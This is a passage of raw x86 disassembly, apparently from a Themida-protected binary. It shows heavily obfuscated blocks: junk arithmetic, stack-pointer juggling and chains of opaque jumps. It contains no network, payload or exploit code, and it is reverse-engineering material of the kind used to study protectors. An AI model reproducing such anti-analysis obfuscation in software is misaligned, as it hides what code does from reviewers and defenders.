xchg edx, [esp+44h+var_46+2]
pop esp
loc_563BFF: ; CODE XREF: sub_562ABA-109Bj
sub esp, 4
mov [esp+44h+var_46+2], edx
push esi
push esp
mov esi, [esp+4Ch+var_4E+2]
jmp loc_564325
; ---------------------------------------------------------------------------
loc_563C12: ; CODE XREF: sub_562ABA+3929j
sub bh, 9Bh
jmp loc_5670FE
; ---------------------------------------------------------------------------
loc_563C1A: ; CODE XREF: sub_562ABA-3E28j
mov ecx, esp
add ecx, 4
jmp loc_5685CB
; ---------------------------------------------------------------------------
loc_563C27: ; CODE XREF: sub_562ABA+F11Dj
mov eax, [esp+0]
jmp loc_564C68
; ---------------------------------------------------------------------------
loc_563C2F: ; CODE XREF: sub_562ABA+6A65j
add ecx, edi
pop edi
xchg ecx, [esp+2Ah+var_2C+2]
jmp loc_56CB5C
; ---------------------------------------------------------------------------
loc_563C3A: ; CODE XREF: sub_562ABA+F100j
push 3302h
mov [esp+0], ecx
push 4CBBh
push esp
jmp loc_56732B
; ---------------------------------------------------------------------------
loc_563C4D: ; CODE XREF: sub_562ABA+F132j
mov esi, 4
add ebx, esi
pop esi
jmp loc_56AD80
; ---------------------------------------------------------------------------
loc_563C5A: ; CODE XREF: sub_562ABA+6B08j
sub esi, 0FFFFFFFFh
jmp loc_56A9DE
; ---------------------------------------------------------------------------
loc_563C65: ; CODE XREF: sub_562ABA+48EFj
and edx, 542F12DEh
push eax
mov eax, 297C1FB1h
xor eax, 79BD2623h
add edx, eax
jmp loc_564DCA
; ---------------------------------------------------------------------------
loc_563C7D: ; CODE XREF: sub_562ABA+6CD1j
or esi, 1BC10A59h
push eax
mov eax, 482A6C53h
neg eax
jmp loc_568C0E
; ---------------------------------------------------------------------------
loc_563C90: ; CODE XREF: sub_562ABA+CAB6j
push ebp
jmp loc_56BE78
; ---------------------------------------------------------------------------
loc_563C96: ; CODE XREF: sub_562ABA-44DCj
pop esi
jmp loc_563FD8
; ---------------------------------------------------------------------------
loc_563C9C: ; CODE XREF: sub_562ABA-144Fj
push esi
mov esi, 447E081Eh
mov edx, esi
pop esi
jmp loc_56BD54
; ---------------------------------------------------------------------------
loc_563CAA: ; CODE XREF: sub_562ABA+A4A6j
push dword ptr [esp+4]
pop eax
jmp loc_566709
; ---------------------------------------------------------------------------
loc_563CB4: ; CODE XREF: sub_562ABA+EFC4j
add ebp, esi
add ebp, 237F26A5h
jmp loc_5667A6
; ---------------------------------------------------------------------------
loc_563CC1: ; CODE XREF: sub_55E72D+Bj
pop eax
pop ebp
push esi
dec dword ptr [esp+0]
jmp loc_56181C
; ---------------------------------------------------------------------------
loc_563CCC: ; CODE XREF: sub_562ABA-343Cj
mov ebp, 16B7546Fh
xor ebp, esi
pop esi
add ebx, ebp
push [esp+12h+var_12]
jmp loc_56BC6F
; ---------------------------------------------------------------------------
loc_563CDE: ; CODE XREF: sub_562ABA+E7F9j
sub edi, 0CD055E2h
sub edi, ebx
push ecx
mov ecx, 0CD055E2h
add edi, ecx
jmp loc_564A72
; ---------------------------------------------------------------------------
loc_563CF3: ; CODE XREF: sub_55FCA5+32Cj
xor edi, [esp+1Ah+var_1A]
xor [esp+1Ah+var_1A], edi
xor edi, [esp+1Ah+var_1A]
pop esp
sub esp, 4
mov [esp+1Ah+var_1A], edx
mov edx, 0A816EAh
dec edx
push ebx
mov ebx, 54670B4Dh
jmp loc_5636E1
; ---------------------------------------------------------------------------
loc_563D17: ; CODE XREF: sub_562ABA+8381j
mov eax, 4D1A3F2Ch
xor esi, eax
pop eax
sub edi, 4FA625E3h
jmp loc_560D5D
; ---------------------------------------------------------------------------
loc_563D2A: ; CODE XREF: sub_562ABA+F398j
mov bh, dl
mov al, bh
pop ebx
jmp loc_560004
; ---------------------------------------------------------------------------
loc_563D34: ; CODE XREF: sub_562ABA+4842j
or ebp, 55F74CB0h
inc ebp
xor ebp, 55F7FFFDh
add ecx, ebp
mov ebp, [esp+16h+var_16]
jmp loc_563FBA
; ---------------------------------------------------------------------------
loc_563D4B: ; CODE XREF: sub_562ABA-252Cj
mov [esp+26h+var_28+2], edx
jmp loc_56CF9D
; ---------------------------------------------------------------------------
loc_563D53: ; CODE XREF: sub_562ABA+EA9Fj
sub esp, 4
jmp loc_572AA1
; ---------------------------------------------------------------------------
loc_563D5B: ; CODE XREF: sub_562ABA+9FC8j
sub esp, 4
jmp loc_568546
; ---------------------------------------------------------------------------
loc_563D66: ; CODE XREF: sub_562ABA+6834j
push ebp
mov ebp, 7DBA025Ch
xor ebp, 5CDC0D4Ch
or ebp, 77B454DDh
sub ebp, 12754B37h
sub ebp, 223D95E0h
mov esi, ebp
pop ebp
sub esp, 4
mov [esp+32h+var_32], ebx
mov ebx, 64D7960h
add esi, 4FF878B7h
sub esi, 1B7B1FB9h
add esi, ebx
push 7FD2h
mov [esp+36h+var_36], ebx
mov ebx, 1B7B1FB9h
jmp loc_569C81
; ---------------------------------------------------------------------------
loc_563DB2: ; CODE XREF: sub_562ABA+271Dj
mov edx, esp
jmp loc_566328
; ---------------------------------------------------------------------------
loc_563DB9: ; CODE XREF: sub_562ABA+BE79j
inc edx
add edx, 7FA79BC9h
jmp loc_56A290
; ---------------------------------------------------------------------------
loc_563DC5: ; CODE XREF: sub_562ABA+5461j
mov [esp+36h+var_36], edx
push 7637h
jmp loc_56566C
; ---------------------------------------------------------------------------
loc_563DD2: ; CODE XREF: sub_562ABA+837Aj
mov [esp+3Ah+var_3A], eax
jmp loc_55F9A5
; ---------------------------------------------------------------------------
loc_563DDA: ; CODE XREF: sub_562ABA-3E69j
sub edi, ebx
jmp loc_55F648
; ---------------------------------------------------------------------------
loc_563DE1: ; CODE XREF: sub_562ABA+73C5j
pop eax
sub al, bl
mov ebx, [esp+22h+var_22]
jmp loc_56D6F2
; ---------------------------------------------------------------------------
loc_563DEC: ; CODE XREF: sub_562ABA+9782j
pop esi
mov esi, [esp+1Eh+var_1E]
add esp, 4
add esi, 4
sub esi, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_56DC17
; ---------------------------------------------------------------------------
loc_563E16: ; CODE XREF: sub_562ABA+E478j
mov dl, 49h
xchg bh, dl
push ebx
not byte ptr [esp+22h+var_22+1]
jmp loc_56122C
; ---------------------------------------------------------------------------
loc_563E24: ; CODE XREF: sub_55FCA5-1690j
push 2696h
mov [esp+26h+var_28+2], ecx
mov ecx, 3D0322F4h
add ecx, 0FFFFFFFFh
push edi
mov edi, 4BDC1201h
add ecx, 5B213387h
sub ecx, edi
sub ecx, 5B213387h
pop edi
jmp loc_569072
; ---------------------------------------------------------------------------
loc_563E4E: ; CODE XREF: sub_562ABA+E23Fj
sub edi, 0D770EAA8h
and eax, edi
mov edi, [esp+26h+var_28+2]
jmp loc_564855
; ---------------------------------------------------------------------------
loc_563E5E: ; CODE XREF: sub_562ABA-17B3j
add esp, 4
push edx
mov edx, 1
sub ecx, edx
pop edx
sub ecx, 7D26F8AEh
jmp loc_56D986
; ---------------------------------------------------------------------------
loc_563E75: ; CODE XREF: sub_562ABA-26Dj
add ecx, 0A1BC1E06h
sub eax, ecx
pop ecx
mov ebp, eax
jmp loc_56AE13
; ---------------------------------------------------------------------------
loc_563E85: ; CODE XREF: sub_562ABA+9F5Bj
push 3E22h
mov [esp+22h+var_22], ebx
mov ebx, 4
mov edi, ebx
mov ebx, [esp+22h+var_22]
add esp, 4
mov ecx, edi
jmp loc_56FD9A
; ---------------------------------------------------------------------------
loc_563EA4: ; CODE XREF: sub_562ABA-306Aj
add ecx, 2CAE5188h
add ecx, 8B671BC5h
xor ebp, ecx
jmp loc_570E59
; ---------------------------------------------------------------------------
loc_563EB7: ; CODE XREF: sub_562ABA+676Dj
mov [esp+16h+var_16], ebx
jmp loc_561EC1
; ---------------------------------------------------------------------------
loc_563EBF: ; CODE XREF: sub_55F788+2Ej
sub si, 0D0FDh
jmp loc_56F5B3
; ---------------------------------------------------------------------------
loc_563EC9: ; CODE XREF: sub_562ABA+10E2j
add ebx, 3F7EB505h
mov esi, ebx
pop ebx
mov edx, esi
pop esi
mov eax, edx
jmp loc_564EB5
; ---------------------------------------------------------------------------
loc_563EDC: ; CODE XREF: sub_562ABA+38Cj
sub esp, 4
mov [esp+1Eh+var_1E], ebp
mov ebp, 4
jmp loc_562781
; ---------------------------------------------------------------------------
loc_563EEF: ; CODE XREF: sub_562ABA-1F77j
add esp, 4
mov eax, [esp+6+var_8+2]
add esp, 4
jmp loc_568B0A
; ---------------------------------------------------------------------------
loc_563F00: ; CODE XREF: sub_562ABA+79C1j
not eax
xor eax, 6D719F0h
shr eax, 3
not eax
add eax, 11B7B0CEh
add ebx, eax
mov eax, [esp+2+var_4+2]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5719E1
; ---------------------------------------------------------------------------
loc_563F27: ; CODE XREF: sub_55FCA5+2C7j
mov ax, word ptr [esp+6+var_8+2]
push edi
push esp
mov edi, [esp+0]
add esp, 4
sub esp, 4
mov [esp+0], edx
mov edx, 70CD5945h
jmp loc_5713E6
; ---------------------------------------------------------------------------
loc_563F46: ; CODE XREF: sub_562ABA-3E08j
mov [esp+1Ah+var_1A], edi
jmp loc_56BC60
; ---------------------------------------------------------------------------
loc_563F4E: ; CODE XREF: sub_562ABA+3D06j
sub esp, 4
mov [esp+1Eh+var_1E], edx
mov edx, 3E314563h
mov esi, 3E314567h
jmp loc_56B3F0
; ---------------------------------------------------------------------------
loc_563F66: ; CODE XREF: Themida_:00560D43j
mov edx, esp
jmp loc_565FF0
; ---------------------------------------------------------------------------
lodsb
push ebx
push eax
push ecx
mov cl, 6Ah
neg cl
add cl, 56h
jmp loc_56C0E4
; ---------------------------------------------------------------------------
loc_563F7D: ; CODE XREF: sub_562ABA+E07Aj
add edi, edx
mov edx, [esp+2Ah+var_2C+2]
add esp, 4
push esi
jmp loc_56F3F0
; ---------------------------------------------------------------------------
loc_563F8E: ; CODE XREF: sub_562ABA-37ADj
pop esp
mov cx, word ptr [esp+48h+var_4A+2]
push 4FEFh
mov [esp+4Ch+var_4E+2], edi
push esp
push [esp+50h+var_52+2]
mov edi, [esp+54h+var_56+2]
add esp, 4
jmp loc_56E175
; ---------------------------------------------------------------------------
loc_563FAA: ; CODE XREF: sub_562ABA+87A6j
mov ebx, 46863469h
xor ebx, 2CEB446Ah
jmp loc_55E406
; ---------------------------------------------------------------------------
loc_563FBA: ; CODE XREF: sub_562ABA+128Cj
add esp, 4
xchg ecx, [esp+12h+var_12]
mov esp, [esp+12h+var_12]
jmp loc_55F021
; ---------------------------------------------------------------------------
loc_563FCB: ; CODE XREF: sub_562ABA-3CD5j
mov edx, 43986B19h
add eax, edx
pop edx
jmp loc_568D23
; ---------------------------------------------------------------------------
loc_563FD8: ; CODE XREF: sub_562ABA+11DDj
add eax, ebx
pop ebx
jmp loc_5651EB
; ---------------------------------------------------------------------------
loc_563FE0: ; CODE XREF: sub_562ABA+A213j
push 29B3h
jmp loc_56BE8B
; ---------------------------------------------------------------------------
loc_563FEA: ; CODE XREF: sub_562ABA-4288j
mov esi, 1FD905F6h
or esi, 3D3259A5h
push 4401h
mov [esp+12h+var_12], edx
jmp loc_564371
; ---------------------------------------------------------------------------
loc_564002: ; CODE XREF: sub_562ABA-3E4j
push 3953h
mov [esp+16h+var_16], ebx
mov ebx, 70B559DDh
mov edx, ebx
pop ebx
mov esi, edx
jmp loc_5689BA
; ---------------------------------------------------------------------------
loc_564019: ; CODE XREF: sub_562ABA+3DAj
pop esp
pop [esp+22h+var_22]
mov esp, [esp+1Eh+var_1E]
push [esp+1Eh+var_1E]
push [esp+22h+var_22]
push [esp+26h+var_28+2]
mov eax, [esp+2Ah+var_2C+2]
add esp, 4
add esp, 4
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+26h+var_28+2]
pop esp
mov [esp+22h+var_22], edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+22h+var_22]
pop esp
push 29DCh
mov [esp+22h+var_22], esi
push esp
pop esi
sub esp, 4
mov [esp+26h+var_28+2], edx
push ecx
jmp loc_56354D
; ---------------------------------------------------------------------------
loc_56406C: ; CODE XREF: sub_562ABA+D2DBj
xor [esp+2Ah+var_2C+2], eax
xor eax, [esp+2Ah+var_2C+2]
jmp loc_5662D8
; ---------------------------------------------------------------------------
loc_564077: ; CODE XREF: sub_562ABA+ED31j
mov edx, esp
jmp loc_57210E
; ---------------------------------------------------------------------------
loc_56407E: ; CODE XREF: sub_562ABA+2657j
add esp, 4
or eax, eax
jz loc_563AC9
push 6717h
mov [esp+2Ah+var_2C+2], eax
push ebp
mov ebp, 1Ch
jmp loc_572439
; ---------------------------------------------------------------------------
loc_56409F: ; CODE XREF: sub_562ABA+DFEj
mov edx, 24h
sub edx, 159F3590h
jmp sub_55E87E
; ---------------------------------------------------------------------------
loc_5640AF: ; CODE XREF: sub_562ABA+4086j
pop ebp
push ecx
jmp loc_56551A
; ---------------------------------------------------------------------------
loc_5640B6: ; CODE XREF: sub_562ABA+328Bj
mov edx, esp
add edx, 4
jmp loc_560281
; ---------------------------------------------------------------------------
loc_5640C3: ; CODE XREF: sub_562ABA+C2B7j
push ecx
mov ecx, 62AF5EB9h
sub ecx, 591B1143h
xor ecx, 22C55F89h
mov esi, ecx
pop ecx
mov ecx, 0D4AEED02h
add ecx, 241F64EEh
add ecx, esi
sub ecx, 241F64EEh
jmp loc_56DFEF
; ---------------------------------------------------------------------------
loc_5640F0: ; CODE XREF: sub_562ABA+D96Cj
mov esp, [esp+12h+var_12]
jmp loc_56ED60
; ---------------------------------------------------------------------------
loc_5640F8: ; CODE XREF: sub_562ABA-1D55j
mov esi, [esp+2Ah+var_2C+2]
add esp, 4
xor edi, 0DBCBC6ABh
add ecx, edi
pop edi
add ecx, 2
xchg ecx, [esp+22h+var_22]
pop esp
rol byte ptr [esp+1Eh+var_1E], cl
pushf
jmp loc_572AAA
; ---------------------------------------------------------------------------
loc_56411D: ; CODE XREF: sub_562ABA+B8DEj
push eax
mov eax, 5FF60138h
jmp loc_56B72E
; ---------------------------------------------------------------------------
loc_564128: ; CODE XREF: sub_562ABA+3741j
xor edi, [esp+26h+var_28+2]
pop esp
xor ebx, [esp+22h+var_22]
xor [esp+22h+var_22], ebx
xor ebx, [esp+22h+var_22]
mov esp, [esp+22h+var_22]
or edx, eax
shl edx, 1
push eax
sub esp, 4
mov [esp+2Ah+var_2C+2], ebx
push 4CD72123h
jmp loc_562317
; ---------------------------------------------------------------------------
loc_564150: ; CODE XREF: sub_562ABA-1AF2j
push [esp+0Ah+var_8+2]
push dword ptr [esp+0]
pop edx
push 4FEh
mov [esp+12h+var_12], esi
push esp
pop esi
sub esp, 4
mov [esp+16h+var_16], edx
mov edx, 4
add esi, edx
pop edx
add esi, 4
jmp loc_55F4EF
; ---------------------------------------------------------------------------
loc_564178: ; CODE XREF: sub_562ABA+3B3Dj
push ebp
mov ebp, 30525D34h
or ebp, 206F237Ah
sub ebp, 13E73DF3h
add esi, ebp
pop ebp
sub esi, 0DE0284E7h
sub ebx, esi
pop esi
jmp loc_56A12F
; ---------------------------------------------------------------------------
loc_56419B: ; CODE XREF: sub_562ABA+510Bj
pop esp
mov [esp+0Ah+var_C+2], ecx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0]
pop esp
mov [esp+0Ah+var_C+2], esp
add [esp+0Ah+var_C+2], 4
pop ecx
sub esp, 4
mov [esp+0Ah+var_C+2], edi
mov edi, 5D584A0Ah
shr edi, 3
not edi
xor edi, eax
xor eax, edi
xor edi, eax
neg eax
jmp loc_569C92
; ---------------------------------------------------------------------------
loc_5641D4: ; CODE XREF: sub_562ABA+56B1j
add esp, 4
sub edx, 79DE395Ah
push edx
mov esi, [esp+0Ah+var_C+2]
add esp, 4
pop edx
and [edi+1Ch], esi
mov esi, [esp+2+var_4+2]
push edx
push esp
pop edx
add edx, 4
push 7A35h
mov [esp+0Ah+var_C+2], edi
push ebp
mov ebp, 4
jmp loc_56F144
; ---------------------------------------------------------------------------
loc_56420A: ; CODE XREF: sub_562ABA+68DDj
push ecx
push ebp
push 5FC96AE8h
pop ebp
push 1824h
mov [esp+1Ah+var_1A], edi
mov edi, 27AE3AC8h
shl edi, 1
inc edi
shl edi, 7
add edi, 5D2B4236h
add ebp, edi
mov edi, [esp+1Ah+var_1A]
add esp, 4
not ebp
sub ebp, 6BEF5225h
add ebp, 0E35FE2A4h
mov ecx, ebp
pop ebp
jmp loc_562CF8
; ---------------------------------------------------------------------------
loc_564249: ; CODE XREF: sub_562ABA-403Ej
pop esp
mov [esp+2Ah+var_2C+2], eax
jmp loc_55E987
; ---------------------------------------------------------------------------
loc_564252: ; CODE XREF: sub_562ABA-27FDj
pop ebx
push esi
mov esi, 4
add ebx, 22C71185h
add ebx, esi
sub ebx, 22C71185h
pop esi
push edi
push esi
mov esi, 48D10857h
mov edi, 0B72EF7ADh
jmp loc_569546
; ---------------------------------------------------------------------------
loc_564279: ; CODE XREF: sub_562ABA+91A1j
xor ebx, 0CD1476Eh
add ebx, 0D9ACC56Ch
or esi, ebx
pop ebx
push ebx
push edx
mov edx, 0F592AFEh
jmp loc_561636
; ---------------------------------------------------------------------------
loc_564294: ; CODE XREF: sub_562ABA+D4D3j
add esp, 4
push 61BDh
jmp loc_56EB39
; ---------------------------------------------------------------------------
loc_5642A4: ; CODE XREF: sub_562ABA+F0A6j
push esi
mov esi, 41DD52AFh
sub ebp, 3D71636Dh
jmp loc_571EA0
; ---------------------------------------------------------------------------
loc_5642B5: ; CODE XREF: sub_562ABA-1A53j
mov bh, 0D8h
jmp loc_567D9E
; ---------------------------------------------------------------------------
loc_5642BC: ; CODE XREF: sub_562ABA+C7CFj
push 58F7h
mov [esp+12h+var_12], edx
push esp
pop edx
push 4606h
mov [esp+16h+var_16], esi
mov esi, 67BF11EDh
or esi, 69DA13B8h
sub esi, 0FFFFFFFFh
add esi, 9000EC06h
add edx, esi
mov esi, [esp+16h+var_16]
add esp, 4
sub edx, 4
xchg edx, [esp+12h+var_12]
mov esp, [esp+12h+var_12]
mov [esp+12h+var_12], ecx
mov ecx, 2
sub ebp, ecx
pop ecx
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
mov esp, [esp+0]
mov [esp+0], cx
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_564313: ; CODE XREF: sub_562ABA+1C78j
pop ecx
add edi, 0FFFFFFFFh
add edi, 208F0C15h
jmp loc_56C029
; ---------------------------------------------------------------------------
loc_564325: ; CODE XREF: sub_562ABA+1153j
add esp, 4
add esi, 4
sub esi, 4
xchg esi, [esp+48h+var_4A+2]
pop esp
mov [esp+44h+var_46+2], esi
jmp loc_56A68C
; ---------------------------------------------------------------------------
loc_564340: ; CODE XREF: sub_562ABA+D4C8j
push 7F26h
mov [esp+48h+var_4A+2], ebp
mov ebp, 4
push ebp
jmp loc_56DE57
; ---------------------------------------------------------------------------
loc_564353: ; CODE XREF: sub_562ABA+A3Bj
mov ecx, 4
sub esi, 2EA1799Ch
sub esi, 4C187802h
add esi, ecx
jmp loc_568F4D
; ---------------------------------------------------------------------------
loc_56436B: ; CODE XREF: sub_562ABA-18FDj
push ebp
jmp loc_56CC34
; ---------------------------------------------------------------------------
loc_564371: ; CODE XREF: sub_562ABA+1543j
mov edx, 45C9167Ch
and esi, edx
pop edx
add esi, 4F166B8Bh
add esi, 2A852958h
push ecx
push esi
jmp loc_564A32
; ---------------------------------------------------------------------------
loc_56438C: ; CODE XREF: sub_562ABA+2693j
xor esi, 5020DCACh
xor edi, esi
pop esi
jmp loc_561C20
; ---------------------------------------------------------------------------
loc_56439A: ; CODE XREF: sub_562ABA+3603j
add edx, 4
sub esp, 4
jmp loc_5657CB
; ---------------------------------------------------------------------------
loc_5643AB: ; CODE XREF: sub_562ABA-2F5Fj
mov dh, 9Bh
mov al, 0Ah
sub al, dh
pop edx
sub bl, al
pop eax
push eax
mov ah, 87h
push edx
mov dh, 4Eh
jmp loc_56D6FD
; ---------------------------------------------------------------------------
loc_5643C0: ; CODE XREF: sub_562ABA+40A1j
mov [esp+1Ah+var_1A], ebx
jmp loc_55F0FB
; ---------------------------------------------------------------------------
loc_5643C8: ; CODE XREF: sub_562ABA+86E3j
mov ch, 0Ch
push eax
push ebx
mov bl, dh
mov ah, bl
pop ebx
mov dh, ch
jmp loc_567D0B
; ---------------------------------------------------------------------------
loc_5643D8: ; CODE XREF: sub_562ABA+C494j
mov esp, [esp+1Eh+var_1E]
mov [esp+1Eh+var_1E], ecx
jmp loc_56CC46
; ---------------------------------------------------------------------------
loc_5643E3: ; CODE XREF: sub_562ABA+8651j
mov [esp+1Eh+var_1E], esp
jmp loc_5610E2
; ---------------------------------------------------------------------------
loc_5643EB: ; CODE XREF: sub_562ABA+A79Fj
shr ch, 6
and ch, 0A8h
jmp loc_56A5F9
; ---------------------------------------------------------------------------
loc_5643F6: ; CODE XREF: sub_562ABA+FED1j
add eax, ecx
pop ecx
add eax, 4
xchg eax, [esp+1Ah+var_1A]
pop esp
and eax, ebx
pop ebx
or eax, eax
jz loc_55E1C3
push dword ptr [edi+1Ch]
push [esp+16h+var_16]
jmp $+5
push [esp+1Ah+var_1A]
mov ecx, [esp+1Eh+var_1E]
add esp, 4
add esp, 4
push eax
jmp loc_570789
; ---------------------------------------------------------------------------
loc_56442E: ; CODE XREF: sub_562ABA+8D72j
add eax, 4
add eax, 4
xchg eax, [esp+1Ah+var_1A]
pop esp
add esi, 810EC1FCh
mov edx, esi
mov esi, [esp+16h+var_16]
add esp, 4
sub ebx, 23786886h
add ebx, edx
add ebx, 23786886h
jmp loc_562B2E
; ---------------------------------------------------------------------------
loc_56445D: ; CODE XREF: sub_562ABA+77D1j
mov [esp+12h+var_12], ebp
mov ebp, 7D516B02h
sub [esp+4], ebp
push [esp+12h+var_12]
pop ebp
jmp loc_55FBCD
; ---------------------------------------------------------------------------
loc_564472: ; CODE XREF: sub_562ABA+625j
push dword ptr [esp+0]
push [esp+12h+var_12]
jmp loc_56C6D4
; ---------------------------------------------------------------------------
loc_56447D: ; CODE XREF: sub_562ABA+FFDCj
popf
retn
; ---------------------------------------------------------------------------
jmp loc_5685A7
; ---------------------------------------------------------------------------
loc_564484: ; CODE XREF: sub_562ABA-3987j
sub ecx, 0ED4BEA70h
jmp loc_55F995
; ---------------------------------------------------------------------------
loc_56448F: ; DATA XREF: Themida_:0055DDD4o
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp+38h+var_3A+2], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56449E: ; CODE XREF: sub_562ABA+FAEj
pop bx
sub al, ch
push [esp+1Ah+var_1A]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
jmp sub_55F27A
; ---------------------------------------------------------------------------
loc_5644B4: ; CODE XREF: Themida_:005605C5j
mov ebx, 24AE7DCCh
mov edi, ebx
pop ebx
xor edi, 2B361451h
sub edi, 0F986999h
sub eax, 25E66D3Bh
sub eax, 49F07FB8h
add eax, edi
jmp loc_56691E
; ---------------------------------------------------------------------------
loc_5644D9: ; CODE XREF: Themida_:00561387j
mov edi, 4
sub edx, edi
jmp loc_5702B1
; ---------------------------------------------------------------------------
loc_5644E5: ; CODE XREF: sub_562ABA+E82Fj
xchg eax, ebp
inc ebp
xchg eax, ebp
jmp loc_5609CE
; ---------------------------------------------------------------------------
loc_5644ED: ; CODE XREF: sub_562ABA+E89Dj
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_55E591
; ---------------------------------------------------------------------------
loc_564501: ; CODE XREF: sub_562ABA+C505j
push ebp
push 77D53669h
pop ebp
xor edx, ebp
pop ebp
or edx, 52AA67DDh
push 2753h
mov [esp+22h+var_22], ecx
push edx
mov edx, 352C4C22h
mov ecx, 6DF574BCh
jmp loc_56C5F1
; ---------------------------------------------------------------------------
loc_564529: ; CODE XREF: sub_562ABA+213Bj
mov edx, 90F064Dh
add edx, 32C174ECh
shr edx, 4
dec edx
shl edx, 3
sub edx, 0A518CFC6h
xor ebp, edx
jmp loc_55FF4D
; ---------------------------------------------------------------------------
loc_564548: ; CODE XREF: sub_562ABA+A4F1j
push 3F17h
mov [esp+2Ah+var_2C+2], edx
push eax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_564557: ; CODE XREF: sub_562ABA-4558j
mov ebp, 676A4E87h
add ecx, 5FA302F8h
add ecx, ebp
sub ecx, 5FA302F8h
pop ebp
xor ecx, 66E15E5h
shr ecx, 7
not ecx
not ecx
sub ecx, 0B8AC74ACh
xor ebx, ecx
jmp loc_566AC6
; ---------------------------------------------------------------------------
loc_564585: ; CODE XREF: sub_562ABA+5F5Aj
add edx, 30493811h
not edx
dec edx
add edx, 846931CBh
jmp loc_56827C
; ---------------------------------------------------------------------------
loc_564599: ; CODE XREF: sub_562ABA+F664j
add edi, 4
xchg edi, [esp+32h+var_32]
pop esp
jmp loc_56B092
; ---------------------------------------------------------------------------
loc_5645A5: ; CODE XREF: sub_562ABA+DE72j
neg esi
shl esi, 2
xchg edx, esi
inc edx
xchg edx, esi
jmp loc_56EE32
; ---------------------------------------------------------------------------
loc_5645B4: ; CODE XREF: sub_562ABA+4D5Cj
sub esp, 4
mov [esp+32h+var_32], edi
jmp loc_565523
; ---------------------------------------------------------------------------
loc_5645BF: ; CODE XREF: sub_562ABA+B9F0j
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
xchg ecx, [esp+32h+var_32]
pop esp
xchg bh, ch
jmp loc_562CE3
; ---------------------------------------------------------------------------
loc_5645D3: ; CODE XREF: sub_562ABA+424Fj
push esi
mov esi, esp
add esi, 4
push ebp
push edx
jmp loc_56205B
; ---------------------------------------------------------------------------
loc_5645E3: ; CODE XREF: sub_560F80+8j
push eax
mov eax, 7F82DCBh
xor eax, 29AB27A5h
inc eax
jmp loc_55E1FD
; ---------------------------------------------------------------------------
loc_5645F4: ; CODE XREF: sub_562ABA+5E83j
pop eax
add eax, esi
mov esi, [esp+3Ah+var_3A]
jmp loc_566C5E
; ---------------------------------------------------------------------------
loc_5645FF: ; CODE XREF: sub_562ABA-10C7j
shl ecx, 3
xor ecx, 5FB9DCBh
jmp loc_570F26
; ---------------------------------------------------------------------------
loc_56460D: ; CODE XREF: sub_562ABA+BA1j
sub edi, 2CEA1E89h
add edi, esi
add edi, 2CEA1E89h
pop esi
xor edi, 60613EE8h
jmp loc_56D0C3
; ---------------------------------------------------------------------------
loc_564627: ; CODE XREF: sub_562ABA-1CDDj
push [esp+2Ah+var_2C+2]
jmp loc_56EFC4
; ---------------------------------------------------------------------------
loc_56462F: ; CODE XREF: sub_562ABA-20F1j
pop ebx
push eax
push ebp
push 4
jmp loc_565BD0
; ---------------------------------------------------------------------------
loc_56463C: ; CODE XREF: sub_562ABA-33Ej
dec ebp
inc ebp
jmp loc_56D20F
; ---------------------------------------------------------------------------
loc_564643: ; CODE XREF: sub_562ABA+F855j
pop esp
push ebx
mov ebx, esp
add ebx, 4
push ecx
jmp loc_5625EB
; ---------------------------------------------------------------------------
loc_564653: ; CODE XREF: sub_562ABA+A1C8j
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push 1042h
mov [esp+4Ah+var_4A], edi
mov edi, 1
sub esp, 4
mov [esp+4Eh+var_4E], edi
mov edi, 6FDA3278h
jmp loc_562623
; ---------------------------------------------------------------------------
loc_564677: ; CODE XREF: sub_562ABA+9F90j
pop esp
mov [esp+4Ah+var_4A], edi
mov edi, 6765685Dh
jmp loc_567148
; ---------------------------------------------------------------------------
loc_564685: ; CODE XREF: sub_562ABA+9C05j
sub edx, 6C594788h
jmp loc_566E46
; ---------------------------------------------------------------------------
loc_564690: ; CODE XREF: sub_562ABA+5C5j
sub edi, 1FF01D3Ch
add edi, eax
add edi, 1FF01D3Ch
pop eax
jmp loc_56F413
; ---------------------------------------------------------------------------
loc_5646A4: ; CODE XREF: sub_562ABA+8BDEj
push esi
mov esi, 4
add ebp, 36A67A31h
add ebp, esi
push eax
mov eax, 36A67A31h
sub ebp, eax
push dword ptr [esp+0]
pop eax
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp+32h+var_32]
pop esp
pop esi
xor ebp, [esp+2Ah+var_2C+2]
xor [esp+2Ah+var_2C+2], ebp
jmp loc_569C24
; ---------------------------------------------------------------------------
loc_5646D9: ; CODE XREF: sub_562ABA+8A9Bj
mov ch, 0ECh
xor ch, bl
pop ebx
mov bl, ch
pop ecx
dec bl
push cx
mov ch, 0AEh
sub bl, ch
pop cx
add al, 2Ch
sub al, bl
push ecx
mov ch, 2Ch
sub al, ch
mov ecx, [esp+26h+var_28+2]
add esp, 4
mov ebx, [esp+22h+var_22]
push 6198h
mov [esp+26h+var_28+2], edi
mov edi, esp
jmp loc_568617
; ---------------------------------------------------------------------------
loc_56470C: ; CODE XREF: sub_562ABA+A624j
pop ebp
and ecx, edx
push [esp+22h+var_22]
mov edx, [esp+26h+var_28+2]
add esp, 4
add esp, 4
shr ecx, 6
push ebx
jmp loc_564E39
; ---------------------------------------------------------------------------
loc_564727: ; CODE XREF: sub_562ABA+6C0j
sub edi, ecx
pop ecx
push ecx
mov ecx, 22B23787h
add edi, ecx
jmp loc_564313
; ---------------------------------------------------------------------------
loc_564737: ; CODE XREF: sub_562ABA+C43Dj
push 38E7h
mov [esp-4+arg_0], edx
mov edx, 584271D4h
sub ebp, edx
pop edx
add ebp, esi
add ebp, 584271D4h
sub ebp, 69362423h
jmp loc_56F749
; ---------------------------------------------------------------------------
loc_56475A: ; CODE XREF: sub_562ABA+F7F8j
mov ecx, [esp-8+arg_4]
add esp, 4
